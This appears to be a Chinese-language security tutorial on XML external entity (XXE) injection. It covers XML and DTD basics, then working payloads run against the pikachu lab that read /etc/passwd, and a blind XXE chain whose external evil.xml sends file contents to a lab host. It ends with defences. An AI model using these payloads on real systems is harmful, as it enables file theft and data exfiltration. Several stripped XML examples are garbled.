概述

XXE -“xml external entity injection”,既”xml外部实体注入漏洞”。

概括一下就是”攻击者通过向服务器提交指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

XML什么?怎么用?

内容比较多,推荐课下专卖学习一下XML的基础内容。

简单介绍

XML由3个部分构成,它们分别是:

  • 文档类型定义(Document Type Definition,DTD),即XML的布局语言;
  • 可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
  • 以及可扩展链接语言(Extensible Link Language,XLL);

    什么是 XML?

  • XML 指可扩展标记语言(EXtensible Markup Language)

  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准

HTML 被设计用来显示数据。

XML 与 HTML 的主要差异

  • XML 不是 HTML 的替代。
  • XML 和 HTML 为不同的目的而设计:
  • XML 被设计为传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。
  • HTML 旨在显示信息,而 XML 旨在传输信息。

    没有任何行为的 XML

    XML 是不作为的。 也许这有点难以理解,但是 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
    下面是 John 写给 George 的便签,存储为 XML:
    George John Reminder Don’t forget the meeting!

上面的这条便签具有自我描述性。它拥有标题以及留言,同时包含了发送者和接受者的信息。但是,这个 XML 文档仍然没有做任何事情。它仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个文档。

XML 仅仅是纯文本

XML 没什么特别的。它仅仅是纯文本而已。有能力处理纯文本的软件都可以处理 XML。不过,能够读懂 XML 的应用程序可以有针对性地处理 XML 的标签。标签的功能性意义依赖于应用程序的特性。

通过 XML 您可以发明自己的标签

上例中的标签没有在任何 XML 标准中定义过(比如 )。这些标签是由文档的创作者发明的。
这是因为 XML 没有预定义的标签。在 HTML 中使用的标签(以及 HTML 的结构)是预定义的。HTML 文档只使用在 HTML 标准中定义过的标签(比如

等等)。XML 允许创作者定义自己的标签和自己的文档结构。

XML 不是对 HTML 的替代

XML 是对 HTML 的补充。
XML 不会替代 HTML,理解这一点很重要。在大多数 web 应用程序中,XML 用于传输数据,而 HTML 用于格式化并显示数据。对 XML 最好的描述是:XML 是独立于软件和硬件的信息传输工具。

XML 的用途

XML 把数据从 HTML 分离

如果你需要在 HTML 文档中显示动态数据,那么每当数据改变时将花费大量的时间来编辑 HTML。通过 XML,数据能够存储在独立的 XML 文件中。这样你就可以专注于使用 HTML 进行布局和显示,并确保修改底层数据不再需要对 HTML 进行任何的改变。通过使用几行 JavaScript,你就可以读取一个外部 XML 文件,然后更新 HTML 中的数据内容。显示与数据分离的思想。

XML 用于创建新的 Internet 语言

很多新的 Internet 语言是通过 XML 创建的:
XHTML - 最新的 HTML 版本
WSDL - 用于描述可用的 web service
WAP 和 WML - 用于手持设备的标记语言
RSS - 用于 RSS feed 的语言
RDF 和 OWL - 用于描述资源和本体
SMIL - 用于描述针针对 web 的多媒体
有兴趣对数据进行探索的学生们,在直接硬性打开一个文件后,如果看到是XML结构的,则可能是由xml创立的互联网交互语言。

早期设想

希望全球的公司,都来使用这一格式的数据描述语言。但现在json用的比较多。

XML 树结构

<?xml version=”1.0” encoding=”ISO-8859-1”?>

George John Reminder Don’t forget the meeting!

第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。
下一行描述文档的根元素(像在说:“本文档是一个便签”):

接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):

George

John

Reminder

Don’t forget the meeting!

最后一行定义根元素的结尾:

XML 文档必须包含根元素。该元素是所有其他元素的父元素。
XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。
所有元素均可拥有子元素:



…..

XXE知识相关* - 图1



Giada De Laurentiis
2005
30.00


J K. Rowling
2005
29.99


Erik T. Ray
2003
39.95

XML 语法规则

在 HTML,经常会看到没有关闭标签的元素:

This is a paragraph

This is another paragraph

在 XML 中,省略关闭标签是非法的。所有元素都必须有关闭标签:

This is a paragraph

This is another paragraph

注释:您也许已经注意到 XML 声明没有关闭标签。这不是错误。声明不属于XML本身的组成部分。它不是 XML 元素,也不需要关闭标签。

XML 标签对大小写敏感

XML 元素使用 XML 标签进行定义。
XML 标签对大小写敏感。在 XML 中,标签 与标签 是不同的。
必须使用相同的大小写来编写打开标签和关闭标签:

这是错误的。

这是正确的。

XML 必须正确地嵌套

在 HTML 中,常会看到没有正确嵌套的元素:

This text is bold and italic

在 XML 中,所有元素都必须彼此正确地嵌套:

This text is bold and italic

XML 文档必须有根元素



…..

XML 的属性值须加引号

错的例子下面第一个

George John George John

实体引用

在 XML 中,一些字符拥有特殊的意义。如果你把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。这样会产生 XML 错误:

if salary < 1000 then

为了避免这个错误,请用实体引用来代替 “<” 字符:

if salary < 1000 then

在 XML 中,有 5 个预定义的实体引用:

< < 小于
> > 大于
& & 和号
' 单引号
" 引号

请按要求使用。

XML 中的注释

在 XML 中编写注释的语法与 HTML 的语法很相似:

在 XML 中,空格会被保留

HTML 会把多个连续的空格字符裁减(合并)为一个:

HTML: Hello my name is David. 输出: Hello my name is David.

在 XML 中,文档中的空格不会被删节。

XML 元素是可扩展的

XML 元素是可扩展,以携带更多的信息。请看下面这个 XML 例子:

George John Don’t forget the meeting!

让我们设想一下,我们创建了一个应用程序,可将 以及 元素提取出来,并产生以下的输出:

MESSAGE To: George From: John Don’t forget the meeting!

想象一下,之后这个 XML 文档作者又向这个文档添加了一些额外的信息:

2008-08-08 George John Reminder Don’t forget the meeting!

那么这个应用程序会中断或崩溃吗?不会。这个应用程序仍然可以找到 XML 文档中的 以及 元素,并产生同样的输出。XML 的优势之一,就是可以经常在不中断应用程序的情况进行扩展。

在浏览器里打开XML查看格式

note.xml note_error.xml

与 XML 相关的技术的列表

XHTML

更严格更纯净的基于 XML 的 HTML 版本。

XML DOM

访问和操作 XML 的标准文档模型。

XSLT

XSL 包含三个部分:

  • XSLT - 把 XML 转换为其他格式,比如 HTML
  • XSL-FO - 用于格式化 XML 文档的语言
  • XPath - 用于在 XML 文档中导航的语言

XQuery

基于 XML 的用于查询 XML 数据的语言。

DTD

用于定义 XML 文档中的合法元素的标准。

XSD

XML Schema。基于 XML 的 DTD 替代物。

XLink

在 XML 文档中创建超级链接的语言。

XPointer

允许 XLink 超级链接指向 XML 文档中更多具体的部分。

XForms

使用 XML 定义表单数据。

SOAP

允许应用程序在 HTTP 之上交换信息的基于 XML 的协议。

WSDL

用于描述网络服务的基于 XML 的语言。

RDF

用于描述网络资源的基于 XML 的语言。

RSS

聚合新闻以及类新闻站点内容的格式。

WAP

用于在无线设备上(比如移动电话)显示内容的一种基于 XML 的语言。

SMIL

描述视听呈现的语言。

SVG

使用 XML 格式定义图形。

DTD 简介

它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例

<?xml version=”1.0”?> <!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)> ]>


George
John
Reminder
Don’t forget the meeting!

以上 DTD 解释如下:

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”
!ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
!ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
!ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
!ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。

一个内部实体声明

<!ENTITY 实体名称 “实体的值”>

DTD例子:

<!ENTITY writer “Bill Gates”> <!ENTITY copyright “Copyright W3School.com.cn”>

XML例子:
&writer;&copyright;
注释: 一个实体由三部分构成::一个连接符号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明

<!ENTITY 实体名称 SYSTEM “URI/URL”>

例子:

<!ENTITY writer SYSTEM “http://www.gxaedu.com/dtd/entities.dtd"> <!ENTITY copyright SYSTEM “http://www.gxaedu.com/dtd/entities.dtd">

xml例子:
&writer;©right;

开个脑洞

看得出来,对DTD使用,是为了更好的应用统一的检验标准。DTD实例的引用,是为了做到更好的xml灵活性,做到更好的伸缩性。易用性与安全性上总是矛盾的。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等。如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,SSRF等漏洞。如果要引用一个外部资源,可以借助各种协议:

file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php

外部DTD定义的协议类型可以有下面的协议:
XXE知识相关* - 图2
php支持的协议会更多一些,但需要一定的扩展支持
image.png

漏洞演示

命名实体

<?xml version=”1.0” encoding=”UTF-8” ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM “file:///etc/passwd” >]>

&xxe;

将上面的内容复制下来,拿到pikachu里面的XXE演练模块里提交一下,感受一下。
image.png
是不是一下就来感觉了。(枯燥的理论总是前戏)。

<?xml version=”1.0” encoding=”UTF-8” ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM “http://192.168.56.1/hi_gxa.txt“ >]>
&xxe;
image.png

Blind XXE

如果通过XXE攻击,网页并没有返回数据的时候,应该怎么办呢?

  1. 数据可以获得到。 赋值到实体变量 A
  2. 做一次外部查询,可以是DNS的,也可以是HTTP/S的,把A传递出去

在外部的综合平台里获得查询的数据。

想法1:

<?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE root [ <!ENTITY % param1 “file:///etc/passwd”> <!ENTITY % param2 “http://192.168.56.1/hi_gxa.txt?%param1“> %param1; ]>

行不通。

想法2:

<?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://192.168.56.1/hi_gxa.txt“> %remote;]>

image.png
但嵌套不行。

想法3:

<?xml version=”1.0”?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM “file:///etc/passwd”> <!ENTITY % remote SYSTEM “http://192.168.150.1/evil.xml”> %remote; %all; %send; ]>

evil.xml
<!ENTITY % all “<!ENTITY % send SYSTEM ‘http://192.168.56.1/hi_gxa2.txt?file=%file; ‘>”>

image.png

实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。

防御XML注入攻击

方案一:使用开发语言提供的禁用外部实体的方法

1.PHP: libxml_disable_entity_loader(true); 2.JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); 3.Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

附:

XSL eXtensible Stylesheet Language